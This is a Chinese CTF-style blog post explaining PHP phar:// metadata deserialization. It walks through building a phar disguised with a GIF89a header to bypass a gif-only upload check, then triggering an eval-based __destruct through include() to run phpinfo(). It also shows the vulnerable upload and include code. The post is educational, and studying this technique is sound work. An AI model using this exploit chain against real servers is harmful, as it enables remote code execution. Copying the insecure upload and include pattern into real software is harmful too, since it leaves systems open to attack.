一个phar://的漏洞

前段时间打了个护网杯,题目质量是真的高,肉鸡又菜了一整场,遇到了一个不太会的东西,复现了一波,记录下好吧。
这个鬼东西就是phar://的序列化的漏洞

介绍一下

phar://跟php://filter 、data://那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub

stub

就是一个标志,格式xxx,结尾一定是__HALT_COMPILER();?>,不然phar识别不了phar文件

一个phar://的漏洞_第1张图片

举个栗子

先看一下phar怎么用

class TestObject{
}

$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();

执行以后同级目录下会有一个phar.phar文件,丢去二进制编辑器

一个phar://的漏洞_第2张图片

嗯,没毛病,确实看到了序列化后的对象

对应的,就会有反序列化的操作,php一大部分文件系统函数在通过phar://伪协议解析的时候,都会将meta-data进行反序列化,影响函数如下

一个phar://的漏洞_第3张图片

将我们上面生成的phar.phar反序列化一下

class TestObject{
    function __destruct()
    {
        echo $this->data;
    }
}

include ('phar://phar.phar');

嗯,浏览器也确实输出出来了

再来个栗子

用phar伪装一下其他文件,因为php识别phar文件是通过stub来的,那样的话我们只需要在__HALT_COMPILER();?>前面加多一个其他文件的头,就可以伪装了

来个大的示范好吧

前端的上传页面




    
    ea3y_upload_file


    

后台的检测页面,先限制好只能传gif

if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"]."
"; echo "Type: " . $_FILES["file"]["type"]."
"; echo "Temp file: " . $_FILES["file"]["tmp_name"]."
"; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }

后台解析文件的php

$filename=$_GET['filename'];
class AnyClass{
    function __destruct()
    {
        eval($this ->data);
    }
}
include ($filename);

emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了

自己打一个生成phar的文件

class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息

执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问

一个phar://的漏洞_第4张图片

嗯,确实是可以看到php的信息,phar协议真的强无敌啊,轻轻松松就绕过了服务器的检测好吧,牛逼牛逼

参考:https://paper.seebug.org/680/

你可能感兴趣的:(ctf)